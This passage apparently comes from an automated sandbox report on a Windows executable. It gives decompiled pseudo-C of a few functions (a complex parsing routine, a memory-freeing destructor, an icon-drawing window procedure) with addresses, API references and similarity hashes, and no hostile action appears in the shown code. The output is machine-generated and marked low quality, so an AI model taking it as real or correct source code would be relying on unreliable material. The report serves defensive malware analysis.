																						} while (_t570 <  *(_t613 + 0x5c));
																						goto L51;
																					}
																					goto L149;
																				case 4:
																					__eax = __ebx + 0x64;
																					goto L70;
																				case 5:
																					__eax = __ebx + 0x7c;
																					goto L70;
																				case 6:
																					__eax = __ebx + 0x94;
																					goto L70;
																				case 7:
																					__eax =  &_v12;
																					__ecx = __esi;
																					_v12 = __edi;
																					_v8 = __edi;
																					_v4 = __edi;
																					E00419893(__esi, __edx, __edi, __ebp, __eflags,  *((intOrPtr*)(__ebx + 0x5c)),  &_v12) =  &_a72;
																					__ecx =  &_a8;
																					_a12 = __di;
																					__eax = E00419747( &_a8, __edx, __ebp, __eflags, __esi,  &_a72);
																					_a120 = __edi;
																					__eflags = _a108 - __edi;
																					if(_a108 > __edi) {
																						_a116 = __edi;
																						do {
																							__edi =  *(__ebx + 0x58);
																							__eax = _v12;
																							__ecx = _a120;
																							__edi =  *(__ebx + 0x58) + _a116;
																							__al =  *((intOrPtr*)(_v12 + _a120));
																							 *((char*)(__edi + 0x13)) = __al;
																							__eflags = __al;
																							if(__al != 0) {
																								__ecx =  *((intOrPtr*)(__esi + 0x38));
																								 *((intOrPtr*)(__edi + 8)) = E00418FFB( *((intOrPtr*)(__esi + 0x38)));
																							}
																							_a120 = _a120 + 1;
																							__eax = _a120;
																							_a116 = _a116 + 0x18;
																							__eflags = _a120 - _a108;
																						} while (_a120 < _a108);
																					}
																					__ecx =  &_a8;
																					__eax = E00418E1D( &_a8);
																					_push(_v12);
																					L0041C160();
																					_pop(__ecx);
																					goto L54;
																				case 8:
																					goto L83;
																				case 9:
																					__eax = __ebx + 0xac;
																					L70:
																					__ecx = __esi;
																					 &_a72 = E004198DE(__ecx, __edx, __eflags,  &_a72,  &_a72, _a108);
																					L54:
																					E00419652(_t613 + 0x108, _t722, _a92, _a96);
																					goto L84;
																				case 0xa:
																					_a16 = __edi;
																					__eflags = _a88 - __edi;
																					if(__eflags >= 0) {
																						if(__eflags > 0) {
																							L77:
																							__ecx =  *((intOrPtr*)(__esi + 0x38));
																							__eax = E00418E7C(__ecx, __edi);
																							__eflags = __al;
																							if(__al != 0) {
																								 *((char*)(__esi + 0x3c)) = 1;
																							}
																							_a16 = _a16 + 1;
																							asm("adc edi, 0x0");
																							__eflags = __edi - _a88;
																						} else {
																							__eflags = _a84 - __edi;
																							if(_a84 > __edi) {
																								goto L77;
																								do {
																									do {
																										goto L77;
																									} while (__eflags < 0);
																									if(__eflags <= 0) {
																										goto L81;
																									}
																									goto L84;
																									L81:
																									__eax = _a84;
																									__eflags = _a16 - _a84;
																								} while (_a16 < _a84);
																							}
																						}
																					}
																					L84:
																					_t650 =  *((intOrPtr*)( *((intOrPtr*)(_t749 + 0x38)) + 4)) -  *((intOrPtr*)( *((intOrPtr*)(_t749 + 0x38)) + 8));
																					__eflags = _t650;
																					if(_t650 != 0) {
																						goto L106;
																					} else {
																						E00418E1D(_t758);
																						goto L86;
																					}
																					goto L149;
																			}
																		}
																	} else {
																		__eflags = _a92 - 0x40000000;
																		if(_a92 > 0x40000000) {
																			goto L83;
																		} else {
																			goto L43;
																		}
																	}
																}
															} else {
																__eflags = _a84 - _t650;
																if(_a84 > _t650) {
																	goto L106;
																} else {
																	goto L40;
																}
															}
														}
														goto L149;
													}
													E00418FB1(_t648);
													__eflags = _a108 - _a124 - _a40;
													if(_a108 - _a124 != _a40) {
														E00418E04(_t648);
													}
													_t703 = _a48;
													_t742 = 0;
													_t579 = 0;
													_a116 = 0;
													__eflags = _a124;
													if(_a124 > 0) {
														do {
															__eflags =  *((char*)(_t703 + _t579));
															if( *((char*)(_t703 + _t579)) != 0) {
																_t287 =  &_a116;
																 *_t287 = _a116 + 1;
																__eflags =  *_t287;
															}
															_t579 = _t579 + 1;
															__eflags = _t579 - _a124;
														} while (_t579 < _a124);
													}
													_a120 = _t742;
													__eflags = _a108 - _t742;
													if(__eflags > 0) {
														_t581 = _a24 - _t703;
														__eflags = _t581;
														_a112 = _t703;
														_a124 = _t742;
														_a88 = _t581;
														do {
															_t755 =  *((intOrPtr*)(_t613 + 0x58)) + _a124;
															_t582 = _a60;
															__eflags =  *((char*)(_t582 + _a120));
															_t583 = _t582 & 0xffffff00 |  *((char*)(_t582 + _a120)) == 0x00000000;
															 *(_t755 + 0x10) = _t583;
															 *((intOrPtr*)(_t755 + 0xc)) = 0;
															__eflags = _t583;
															if(_t583 == 0) {
																_t584 = _a112;
																_t731 = _a88;
																__eflags =  *(_t731 + _t584);
																 *((char*)(_t755 + 0x11)) = _t731 & 0xffffff00 |  *(_t731 + _t584) == 0x00000000;
																_t722 =  *_t584;
																_t585 = _t584 + 1;
																__eflags = _t585;
																_a96 =  *_t584;
																_a112 = _t585;
																 *_t755 = 0;
																 *((intOrPtr*)(_t755 + 4)) = 0;
																 *((char*)(_t755 + 0x12)) = 0;
															} else {
																_t588 = _a36;
																 *((char*)(_t755 + 0x11)) = 0;
																_a96 = 0;
																 *_t755 =  *((intOrPtr*)(_t588 + _t742 * 8));
																 *((intOrPtr*)(_t755 + 4)) =  *((intOrPtr*)(_t588 + 4 + _t742 * 8));
																_t590 = E004192B9( &_v44, _t742);
																 *((char*)(_t755 + 0x12)) = _t590;
																__eflags = _t590;
																if(_t590 != 0) {
																	 *((intOrPtr*)(_t755 + 0xc)) =  *((intOrPtr*)(_v32 + _t742 * 4));
																}
																_t742 = _t742 + 1;
															}
															__eflags = _a116;
															if(_a116 != 0) {
																E0041967B(_t613 + 0xc4, _a96);
															}
															_a120 = _a120 + 1;
															_a124 = _a124 + 0x18;
															__eflags = _a120 - _a108;
														} while (__eflags < 0);
													}
													_push(_a48);
													L0041C160();
													_push(_a24);
													L0041C160();
													_push(_a60);
													L0041C160();
													_t765 = _t765 + 0xc;
												}
												goto L104;
											}
										} else {
											__eflags = _t722 - _t737;
											if(__eflags != 0) {
												goto L28;
											} else {
												_push(_a124);
												_push(_a120);
												_t745 = _t613 + 0x100;
												_push(_a116);
												_t602 = E0041A63E(_t749, _t722, __eflags,  *((intOrPtr*)(_t613 + 0xf0)),  *((intOrPtr*)(_t613 + 0xf4)), _t745,  &_a72, _a112);
												_a108 = _t602;
												__eflags = _t602;
												if(_t602 == 0) {
													 *_t745 =  *_t745 +  *((intOrPtr*)(_t613 + 0xf0));
													asm("adc [edi+0x4], eax");
													_t498 = E00418FB1( *((intOrPtr*)(_t749 + 0x38)));
													_t737 = 0;
													__eflags = 0;
													goto L28;
												} else {
													E0041969C( &_a72);
													_t501 = _a108;
													L105:
													__eflags =  &_a100;
													return _t501;
												}
											}
										}
									} else {
										goto L14;
									}
								}
							}
						}
						goto L149;
					}
					E00418E04(_t625);
					goto L17;
				} else {
					L1:
					 *((intOrPtr*)(_t734 + 0x70)) =  *((intOrPtr*)(_t734 + 0x70)) +  *((intOrPtr*)(_v44 + _v52 * 8));
					asm("adc [edi+0x74], eax");
					E00417CCA( &_v148);
					_push(_a48);
					L0041C160();
					_push(_a36);
					L0041C160();
					_push(_a60);
					L0041C160();
					E004185D1( &_v52);
					_t479 = 0;
					L2:
					return _t479;
				}
				L149:
			}

0x0041a63e
0x0041a63f
0x0041a643
0x0041a64a
0x0041a64c
0x0041a651
0x0041a654
0x0041a66d
0x0041a670
0x0041a673
0x0041a676
0x0041a679
0x0041a67c
0x0041a67f
0x0041a682
0x0041a685
0x0041a688
0x0041a698
0x0041a69d
0x0041a69f
0x0041a6a5
0x0041a6f7
0x0041a702
0x0041a70c
0x0041a70f
0x0041a712
0x0041a715
0x0041a719
0x0041a71b
0x00000000
0x00000000
0x0041a721
0x0041a723
0x00000000
0x0041a729
0x0041a72d
0x0041a732
0x0041a734
0x0041a73a
0x0041a73c
0x0041a74b
0x0041a74b
0x0041a73e
0x0041a73e
0x0041a741
0x0041a747
0x0041a747
0x0041a74d
0x0041a74f
0x0041a754
0x0041a754
0x0041a76b
0x0041a778
0x0041a77f
0x0041a78a
0x0041a798
0x0041a79d
0x0041a7a0
0x0041a7a2
0x0041a7f4
0x0041a7f7
0x0041a800
0x0041a805
0x0041a808
0x0041a80d
0x0041a810
0x0041a815
0x0041a818
0x0041a823
0x0041a828
0x00000000
0x0041a7a4
0x0041a7aa
0x0041a7af
0x0041a7b1
0x0041a7d2
0x0041a7d5
0x0041a7d8
0x0041a7db
0x0041a7de
0x0041a7e1
0x0041a6f4
0x00000000
0x0041a7e7
0x0041a7e7
0x00000000
0x0041a7e7
0x0041a7b3
0x0041a7c1
0x0041a7c3
0x0041a7c6
0x0041a7cb
0x0041a7ce
0x0041a7d0
0x0041a830
0x0041a835
0x0041a836
0x0041a837
0x0041a83b
0x0041a841
0x0041a842
0x0041a843
0x0041a848
0x0041a849
0x0041a84e
0x0041a851
0x0041a854
0x0041a874
0x0041a874
0x0041a856
0x0041a856
0x0041a858
0x0041a85a
0x0041a865
0x0041a86d
0x0041a86d
0x0041a85a
0x0041a876
0x0041a879
0x0041a87c
0x0041a87f
0x0041a882
0x0041a8e4
0x0041a8e4
0x0041a8e7
0x0041a8ea
0x0041a8ed
0x0041a8f0
0x0041a8f3
0x0041a8f6
0x0041a8f9
0x0041a8fc
0x0041a8ff
0x0041a902
0x0041a904
0x0041a906
0x0041a911
0x0041a91e
0x0041a929
0x0041a931
0x0041a937
0x0041a93c
0x0041a93c
0x0041a93c
0x0041a906
0x0041a93e
0x0041a941
0x0041a944
0x0041ad95
0x0041ad97
0x0041ad9c
0x0041ad9f
0x0041ada4
0x0041ada7
0x0041adac
0x0041adaf
0x0041adba
0x0041adbf
0x0041adbf
0x00000000
0x0041a94a
0x0041a94a
0x0041a94c
0x0041a95e
0x0041a961
0x0041a972
0x0041a975
0x0041a983
0x0041a988
0x0041a98b
0x0041a98d
0x0041a990
0x0041a99b
0x0041a99b
0x0041a990
0x0041a9a0
0x0041a9a5
0x0041a9a8
0x0041a9ab
0x0041a9b1
0x0041a9b8
0x0041a9bb
0x0041a9be
0x0041a9c1
0x0041a9c4
0x0041a9c7
0x0041a9ca
0x0041ac7d
0x0041ac7d
0x0041ac80
0x0041ac85
0x0041ac88
0x0041ac8b
0x0041ac8d
0x0041ac90
0x00000000
0x00000000
0x0041a9d7
0x0041a9da
0x0041a9e0
0x0041a9e3
0x0041a9e6
0x0041a9e8
0x0041a9eb
0x0041adcb
0x0041adcb
0x0041add2
0x0041add3
0x0041add7
0x0041add8
0x0041add9
0x0041addb
0x0041addc
0x0041addd
0x0041ade1
0x0041ade7
0x0041ade9
0x0041adeb
0x0041aded
0x0041adef
0x0041adf1
0x0041adf5
0x0041adf9
0x0041adfb
0x0041adfd
0x0041adff
0x0041ae00
0x0041ae01
0x0041ae01
0x0041ae01
0x0041ae02
0x0041ae08
0x0041ae09
0x0041ae0a
0x0041ae0b
0x0041ae0e
0x0041ae12
0x0041ae1a
0x0041ae23
0x0041ae2c
0x0041ae35
0x0041ae37
0x0041ae3d
0x0041ae43
0x0041af36
0x0041af36
0x0041af36
0x00000000
0x0041ae49
0x0041ae4f
0x0041ae52
0x0041ae58
0x0041ae5e
0x0041ae64
0x0041ae6d
0x0041ae6f
0x0041ae72
0x0041ae78
0x0041ae7e
0x0041ae88
0x0041ae8e
0x0041ae94
0x0041ae97
0x00000000
0x0041ae9d
0x0041ae9d
0x0041aea7
0x0041aea7
0x0041aeae
0x00000000
0x0041aeb4
0x0041aeb4
0x0041aebb
0x0041aebe
0x0041aebe
0x0041aec1
0x0041aed1
0x0041aed7
0x0041aed9
0x0041aed9
0x0041aee9
0x0041aeeb
0x0041aef1
0x0041aef4
0x0041aef6
0x0041aef9
0x0041aefc
0x0041af04
0x0041af06
0x0041af0c
0x0041af15
0x0041af1e
0x0041af24
0x0041af26
0x0041af40
0x0041af40
0x0041af4e
0x0041af51
0x0041af53
0x0041af55
0x0041af58
0x0041af5a
0x0041af61
0x0041af61
0x0041af5c
0x0041af5c
0x0041af5f
0x0041af68
0x0041af6b
0x0041af78
0x0041af7b
0x0041af80
0x0041af82
0x0041af93
0x0041af96
0x0041af99
0x0041af9e
0x0041afa1
0x0041afa3
0x0041afa3
0x0041afa3
0x0041afa8
0x0041afae
0x0041afb0
0x0041afb0
0x0041afb7
0x0041afc1
0x0041afc6
0x0041afcb
0x0041afce
0x0041afd1
0x0041afd4
0x0041afd7
0x0041afdc
0x0041afdf
0x0041afe9
0x0041afe9
0x0041afec
0x00000000
0x0041afee
0x0041afee
0x0041aff0
0x00000000
0x0041aff2
0x0041aff2
0x0041aff8
0x0041affb
0x0041affd
0x0041b017
0x0041b01c
0x0041b01f
0x0041b021
0x0041b03b
0x0041b03e
0x0041b055
0x0041b059
0x00000000
0x0041b05f
0x0041b062
0x0041b070
0x0041b075
0x0041b078
0x0041b07d
0x0041b080
0x00000000
0x0041b086
0x0041b086
0x0041b088
0x00000000
0x00000000
0x00000000
0x00000000
0x0041b088
0x0041b080
0x0041b040
0x0041b043
0x0041b04b
0x00000000
0x0041b04b
0x0041b023
0x0041b026
0x0041b02e
0x0041b033
0x00000000
0x0041b033
0x0041b021
0x0041aff0
0x0041afe1
0x0041afe1
0x0041afe3
0x0041b08e
0x0041b08e
0x0041b091
0x0041b098
0x0041b09e
0x0041b0a1
0x0041b0a7
0x0041b0aa
0x0041b0ad
0x0041b0b0
0x0041b0b6
0x0041b0c0
0x0041b0c8
0x0041b0cd
0x0041b0d0
0x0041b0d6
0x00000000
0x00000000
0x00000000
0x0041afe3
0x0041af84
0x0041af84
0x0041af86
0x0041af86
0x0041af89
0x0041af8f
0x0041af8f
0x00000000
0x00000000
0x00000000
0x0041af5f
0x0041af5a
0x0041af28
0x0041af28
0x0041af2f
0x0041af2f
0x00000000
0x0041af2a
0x0041af2a
0x0041af2d
0x00000000
0x00000000
0x00000000
0x00000000
0x0041af2d
0x0041af28
0x0041aec3
0x0041aec3
0x0041aec6
0x0041af38
0x0041af38
0x0041af38
0x0041aec8
0x0041aec8
0x0041aec8
0x0041aec6
0x0041aeb6
0x0041aeb6
0x0041aeb9
0x00000000
0x00000000
0x00000000
0x00000000
0x0041aeb9
0x0041aeb4
0x0041ae9f
0x0041ae9f
0x0041aea1
0x00000000
0x00000000
0x00000000
0x00000000
0x0041aea1
0x0041ae9d
0x0041ae97
0x0041af3d
0x0041a9f1
0x0041a9f1
0x0041a9fc
0x0041aa01
0x0041aa06
0x0041aa0f
0x0041aa14
0x0041aa16
0x0041aa19
0x0041ac56
0x0041ac56
0x0041ac63
0x00000000
0x0041aa1f
0x0041aa1f
0x0041aa2e
0x0041aa31
0x0041aa34
0x0041aa37
0x00000000
0x0041aa3d
0x0041aa3d
0x00000000
0x0041ab99
0x0041aba0
0x0041aba2
0x0041aba7
0x0041aba9
0x0041abac
0x0041abaf
0x0041abb1
0x0041abb1
0x0041abb4
0x0041abb8
0x0041abba
0x0041abba
0x0041abba
0x0041abba
0x0041abbd
0x0041abbe
0x0041abbe
0x0041abb1
0x0041abc3
0x0041abc9
0x0041abd1
0x00000000
0x00000000
0x0041abdb
0x00000000
0x00000000
0x0041abee
0x0041abde
0x0041abe2
0x0041abe4
0x00000000
0x00000000
0x0041aa4c
0x0041aa50
0x0041aa5b
0x0041aa65
0x0041aa74
0x0041aa84
0x0041aa89
0x0041aa8b
0x0041aa8d
0x0041aa90
0x0041aa93
0x0041aa96
0x0041aaee
0x0041aaf4
0x0041aaf6
0x0041aaf9
0x0041aafc
0x0041aafe
0x0041aafe
0x0041ab05
0x00000000
0x0041aa98
0x0041aa98
0x0041aa9e
0x0041aaa6
0x0041aaa8
0x0041aaa8
0x0041aaaa
0x0041aaac
0x0041aaac
0x0041aaaf
0x0041aab4
0x00000000
0x00000000
0x0041aab6
0x0041aab9
0x0041aabc
0x00000000
0x00000000
0x00000000
0x0041aabc
0x0041aaac
0x0041aabe
0x0041aabe
0x0041aac1
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x0041aac7
0x0041aaca
0x0041aad5
0x0041aade
0x0041aadf
0x0041aae3
0x0041aae6
0x0041aae9
0x0041aae9
0x00000000
0x0041aa98
0x00000000
0x00000000
0x0041ac0d
0x00000000
0x00000000
0x0041ac12
0x00000000
0x00000000
0x0041ac17
0x00000000
0x00000000
0x0041ab20
0x0041ab27
0x0041ab29
0x0041ab2c
0x0041ab2f
0x0041ab37
0x0041ab3c
0x0041ab3f
0x0041ab43
0x0041ab48
0x0041ab4b
0x0041ab4e
0x0041ab50
0x0041ab53
0x0041ab53
0x0041ab56
0x0041ab59
0x0041ab5c
0x0041ab5f
0x0041ab62
0x0041ab65
0x0041ab67
0x0041ab69
0x0041ab71
0x0041ab71
0x0041ab74
0x0041ab77
0x0041ab7a
0x0041ab7e
0x0041ab7e
0x0041ab53
0x0041ab83
0x0041ab86
0x0041ab8b
0x0041ab8e
0x0041ab93
0x00000000
0x00000000
0x00000000
0x00000000
0x0041abf3
0x0041abf9
0x0041abfc
0x0041ac03
0x0041ab0a
0x0041ab16
0x00000000
0x00000000
0x0041ac1f
0x0041ac22
0x0041ac25
0x0041ac27
0x0041ac2e
0x0041ac2e
0x0041ac31
0x0041ac36
0x0041ac38
0x0041ac3a
0x0041ac3a
0x0041ac3e
0x0041ac42
0x0041ac45
0x0041ac29
0x0041ac29
0x0041ac2c
0x00000000
0x0041ac2e
0x0041ac2e
0x00000000
0x00000000
0x0041ac4a
0x00000000
0x00000000
0x00000000
0x0041ac4c
0x0041ac4c
0x0041ac4f
0x0041ac4f
0x0041ac54
0x0041ac2c
0x0041ac27
0x0041ac66
0x0041ac6c
0x0041ac6c
0x0041ac6f
0x00000000
0x0041ac75
0x0041ac78
0x00000000
0x0041ac78
0x00000000
0x00000000
0x0041aa3d
0x0041aa21
0x0041aa21
0x0041aa28
0x00000000
0x00000000
0x00000000
0x00000000
0x0041aa28
0x0041aa1f
0x0041a9f3
0x0041a9f3
0x0041a9f6
0x00000000
0x00000000
0x00000000
0x00000000
0x0041a9f6
0x0041a9f1
0x00000000
0x0041a9eb
0x0041ac96
0x0041aca1
0x0041aca4
0x0041aca6
0x0041aca6
0x0041acab
0x0041acae
0x0041acb0
0x0041acb2
0x0041acb5
0x0041acb8
0x0041acba
0x0041acba
0x0041acbe
0x0041acc0
0x0041acc0
0x0041acc0
0x0041acc0
0x0041acc3
0x0041acc4
0x0041acc4
0x0041acba
0x0041acc9
0x0041accc
0x0041accf
0x0041acd8
0x0041acd8
0x0041acda
0x0041acdd
0x0041ace0
0x0041ace3
0x0041ace6
0x0041ace9
0x0041acef
0x0041acf3
0x0041acf8
0x0041acfb
0x0041acfe
0x0041ad00
0x0041ad33
0x0041ad36
0x0041ad39
0x0041ad3f
0x0041ad42
0x0041ad44
0x0041ad44
0x0041ad45
0x0041ad48
0x0041ad4b
0x0041ad4d
0x0041ad50
0x0041ad02
0x0041ad02
0x0041ad05
0x0041ad08
0x0041ad0e
0x0041ad18
0x0041ad1b
0x0041ad20
0x0041ad23
0x0041ad25
0x0041ad2d
0x0041ad2d
0x0041ad30
0x0041ad30
0x0041ad53
0x0041ad57
0x0041ad62
0x0041ad62
0x0041ad67
0x0041ad6d
0x0041ad71
0x0041ad71
0x0041ace3
0x0041ad7a
0x0041ad7d
0x0041ad82
0x0041ad85
0x0041ad8a
0x0041ad8d
0x0041ad92
0x0041ad92
0x00000000
0x0041a94c
0x0041a884
0x0041a884
0x0041a886
0x00000000
0x0041a888
0x0041a888
0x0041a88e
0x0041a891
0x0041a897
0x0041a8ad
0x0041a8b2
0x0041a8b5
0x0041a8b7
0x0041a8cf
0x0041a8d7
0x0041a8dd
0x0041a8e2
0x0041a8e2
0x00000000
0x0041a8b9
0x0041a8bc
0x0041a8c1
0x0041adc1
0x0041adc4
0x0041adc8
0x0041adc8
0x0041a8b7
0x0041a886
0x00000000
0x00000000
0x00000000
0x0041a7d0
0x0041a7b1
0x0041a7a2
0x00000000
0x0041a723
0x0041a7ef
0x00000000
0x0041a6a7
0x0041a6a7
0x0041a6b0
0x0041a6bd
0x0041a6c0
0x0041a6c5
0x0041a6c8
0x0041a6cd
0x0041a6d0
0x0041a6d5
0x0041a6d8
0x0041a6e3
0x0041a6e8
0x0041a6ea
0x0041a6f1
0x0041a6f1
0x00000000

APIs

??3@YAXPAX@Z.MSVCRT ref: 0041A6C8
??3@YAXPAX@Z.MSVCRT ref: 0041A6D0
??3@YAXPAX@Z.MSVCRT ref: 0041A6D8

Part of subcall function 004185D1: ??3@YAXPAX@Z.MSVCRT ref: 004185D7
Part of subcall function 004185D1: ??3@YAXPAX@Z.MSVCRT ref: 004185DF
Part of subcall function 004185D1: ??3@YAXPAX@Z.MSVCRT ref: 004185E7
Part of subcall function 004185D1: ??3@YAXPAX@Z.MSVCRT ref: 004185EF
Part of subcall function 004185D1: ??3@YAXPAX@Z.MSVCRT ref: 004185F7
Part of subcall function 004185D1: ??3@YAXPAX@Z.MSVCRT ref: 004185FF
Part of subcall function 004185D1: ??3@YAXPAX@Z.MSVCRT ref: 00418607
Part of subcall function 004185D1: ??3@YAXPAX@Z.MSVCRT ref: 0041860F
Part of subcall function 004185D1: ??3@YAXPAX@Z.MSVCRT ref: 00418617
Part of subcall function 004185D1: ??3@YAXPAX@Z.MSVCRT ref: 0041861F
Part of subcall function 004185D1: ??3@YAXPAX@Z.MSVCRT ref: 00418627

??2@YAPAXI@Z.MSVCRT ref: 0041A734

Part of subcall function 00417CCA: ??3@YAXPAX@Z.MSVCRT ref: 00417CDD

Memory Dump Source

Source File: 0000000D.00000002.708893020.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.708888095.0000000000400000.00000002.00020000.sdmp Download File
Associated: 0000000D.00000002.708910578.000000000041D000.00000002.00020000.sdmp Download File
Associated: 0000000D.00000002.708919422.0000000000422000.00000004.00020000.sdmp Download File
Associated: 0000000D.00000002.708925367.0000000000427000.00000002.00020000.sdmp Download File

Similarity

API ID: ??3@$??2@
String ID:
API String ID: 4113381792-0
Opcode ID: 0ba6d23056ac65c586b95b8a3b8a0767250d64f081be82bddb414f7d63c526b6
Instruction ID: 6abf9db5c8fa00cec55f169cb285ff9e288a09aa66c1a036a375ac4c588c175a
Opcode Fuzzy Hash: 0ba6d23056ac65c586b95b8a3b8a0767250d64f081be82bddb414f7d63c526b6
Instruction Fuzzy Hash: 01F106719002489FCB25DF69C9809EEBBF5BF48304F14442EF81997262DB38E995CF59

Uniqueness

Uniqueness Score: -1.00%

Function 004189CE, Relevance: 18.0, APIs: 12, Instructions: 32
COMMON

Download Yara Rule

C-Code - Quality: 37%

			E004189CE(void* __ecx) {
				void* _t24;

				_push( *((intOrPtr*)(__ecx + 0xd8)));
				L0041C160();
				_push( *((intOrPtr*)(__ecx + 0xd0)));
				L0041C160();
				_push( *((intOrPtr*)(__ecx + 0xc4)));
				L0041C160();
				_push( *((intOrPtr*)(__ecx + 0xb8)));
				L0041C160();
				_push( *((intOrPtr*)(__ecx + 0xac)));
				L0041C160();
				_push( *((intOrPtr*)(__ecx + 0xa0)));
				L0041C160();
				_push( *((intOrPtr*)(__ecx + 0x94)));
				L0041C160();
				_push( *((intOrPtr*)(__ecx + 0x88)));
				L0041C160();
				_push( *((intOrPtr*)(__ecx + 0x7c)));
				L0041C160();
				_push( *((intOrPtr*)(__ecx + 0x70)));
				L0041C160();
				_push( *((intOrPtr*)(__ecx + 0x64)));
				L0041C160();
				_push( *((intOrPtr*)(__ecx + 0x58)));
				L0041C160();
				_pop(_t30);
				_push( *((intOrPtr*)(__ecx + 0x4c)));
				L0041C160();
				_push( *((intOrPtr*)(__ecx + 0x3c)));
				L0041C160();
				_push( *((intOrPtr*)(__ecx + 0x38)));
				L0041C160();
				_push( *((intOrPtr*)(__ecx + 0x34)));
				L0041C160();
				_push( *((intOrPtr*)(__ecx + 0x30)));
				L0041C160();
				_push( *((intOrPtr*)(__ecx + 0x2c)));
				L0041C160();
				_push( *((intOrPtr*)(__ecx + 0x28)));
				L0041C160();
				_push( *((intOrPtr*)(__ecx + 0x24)));
				L0041C160();
				_push( *((intOrPtr*)(__ecx + 0x18)));
				L0041C160();
				_push( *((intOrPtr*)(__ecx + 0xc)));
				L0041C160();
				_push( *((intOrPtr*)(__ecx + 8)));
				L0041C160();
				return _t24;
			}

0x004189d2
0x004189d8
0x004189dd
0x004189e3
0x004189e8
0x004189ee
0x004189f3
0x004189f9
0x004189fe
0x00418a04
0x00418a09
0x00418a0f
0x00418a14
0x00418a1a
0x00418a1f
0x00418a25
0x00418a2a
0x00418a2d
0x00418a32
0x00418a35
0x00418a3a
0x00418a3d
0x00418a42
0x00418a45
0x00418a50
0x004185d4
0x004185d7
0x004185dc
0x004185df
0x004185e4
0x004185e7
0x004185ec
0x004185ef
0x004185f4
0x004185f7
0x004185fc
0x004185ff
0x00418604
0x00418607
0x0041860c
0x0041860f
0x00418614
0x00418617
0x0041861c
0x0041861f
0x00418624
0x00418627
0x00418630

APIs

??3@YAXPAX@Z.MSVCRT ref: 004189D8
??3@YAXPAX@Z.MSVCRT ref: 004189E3
??3@YAXPAX@Z.MSVCRT ref: 004189EE
??3@YAXPAX@Z.MSVCRT ref: 004189F9
??3@YAXPAX@Z.MSVCRT ref: 00418A04
??3@YAXPAX@Z.MSVCRT ref: 00418A0F
??3@YAXPAX@Z.MSVCRT ref: 00418A1A
??3@YAXPAX@Z.MSVCRT ref: 00418A25
??3@YAXPAX@Z.MSVCRT ref: 00418A2D
??3@YAXPAX@Z.MSVCRT ref: 00418A35
??3@YAXPAX@Z.MSVCRT ref: 00418A3D
??3@YAXPAX@Z.MSVCRT ref: 00418A45

Memory Dump Source

Source File: 0000000D.00000002.708893020.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.708888095.0000000000400000.00000002.00020000.sdmp Download File
Associated: 0000000D.00000002.708910578.000000000041D000.00000002.00020000.sdmp Download File
Associated: 0000000D.00000002.708919422.0000000000422000.00000004.00020000.sdmp Download File
Associated: 0000000D.00000002.708925367.0000000000427000.00000002.00020000.sdmp Download File

Similarity

API ID: ??3@
String ID:
API String ID: 613200358-0
Opcode ID: 1f319bad1af196991e7fe3229c0439d54c27219e77e082c4970497211d54019c
Instruction ID: 0e0f50dce1b9974b6fb96937f2ede7be7b7889254afb23eb482ec8a91eb4f058
Opcode Fuzzy Hash: 1f319bad1af196991e7fe3229c0439d54c27219e77e082c4970497211d54019c
Instruction Fuzzy Hash: A3F068382D0B24BAD6223732DC42BDBB6B6AF40B08F00442FB19A604338DA57C919F5D

Uniqueness

Uniqueness Score: -1.00%

Function 0040808C, Relevance: 16.6, APIs: 11, Instructions: 88
windowCOMMON

Download Yara Rule

C-Code - Quality: 88%

			E0040808C(void* __edx, long _a4, int _a8, int _a12, int _a16) {
				struct tagRECT _v20;
				_Unknown_base(*)()* _t29;
				int _t34;
				struct HWND__* _t55;
				void* _t56;
				long _t57;
				struct HDC__* _t61;

				_t56 = __edx;
				_t55 = _a4;
				_t57 = GetWindowLongW(GetParent(_t55), 0xffffffeb);
				if(_t57 != 0) {
					_t29 =  *(_t57 + 0x54);
					_a4 = _a4 & 0x00000000;
					if(_t29 != 0) {
						_a4 = CallWindowProcW(_t29, _t55, _a8, _a12, _a16);
					}
					_a12 = GetSystemMetrics(0x31);
					_a16 = GetSystemMetrics(0x32);
					_t34 = _a8;
					if(_t34 == 0) {
						SetWindowLongW(_t55, 0xfffffffc,  *(_t57 + 0x54));
					} else {
						if(_t34 == 0xd) {
							_t61 = GetWindowDC(_t55);
							GetWindowRect(_t55,  &_v20);
							asm("cdq");
							asm("cdq");
							DrawIconEx(_t61, _v20.right - _v20.left - _a12 - _t56 >> 1, _v20.bottom - _v20.top - _a16 - _t56 >> 1,  *(_t57 + 0x50), _a12, _a16, 0, 0, 3);
							ReleaseDC(_t55, _t61);
						}
					}
					return _a4;
				}
				return DefWindowProcW(_t55, _a8, _a12, _a16);
			}

0x0040808c
0x00408093
0x004080a7
0x004080ab
0x004080c2
0x004080c5
0x004080cb
0x004080de
0x004080de
0x004080ee
0x004080f3
0x004080fa
0x004080fb
0x0040815a
0x004080fd
0x00408100
0x00408109
0x00408110
0x00408128
0x0040813d
0x00408144
0x0040814c
0x0040814c
0x00408100
0x00000000
0x00408163
0x00000000

APIs

GetParent.USER32(?), ref: 0040809A
GetWindowLongW.USER32(00000000), ref: 004080A1
DefWindowProcW.USER32(?,?,?,?), ref: 004080B7
CallWindowProcW.USER32(?,?,?,?,?), ref: 004080D8
GetSystemMetrics.USER32 ref: 004080EA
GetSystemMetrics.USER32 ref: 004080F1
GetWindowDC.USER32(?), ref: 00408103
GetWindowRect.USER32 ref: 00408110
DrawIconEx.USER32 ref: 00408144
ReleaseDC.USER32 ref: 0040814C

Memory Dump Source

Source File: 0000000D.00000002.708893020.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.708888095.0000000000400000.00000002.00020000.sdmp Download File
Associated: 0000000D.00000002.708910578.000000000041D000.00000002.00020000.sdmp Download File
Associated: 0000000D.00000002.708919422.0000000000422000.00000004.00020000.sdmp Download File
Associated: 0000000D.00000002.708925367.0000000000427000.00000002.00020000.sdmp Download File

Similarity

API ID: Window$MetricsProcSystem$CallDrawIconLongParentRectRelease
String ID:
API String ID: 2586545124-0
Opcode ID: 58eddb4fd1200f8cdab970e24eaff4f37387fe116eb04ae65f16346c54bda7fc
Instruction ID: 5863647e7012f7e332d139e9621e2b3ca0e85c148ed14a4dd9622dae80b8943e
Opcode Fuzzy Hash: 58eddb4fd1200f8cdab970e24eaff4f37387fe116eb04ae65f16346c54bda7fc
Instruction Fuzzy Hash: A6310CB690060ABFDB019FB8DE48EDF3B69FB08351F008525FA51E6190CB74D920CB69

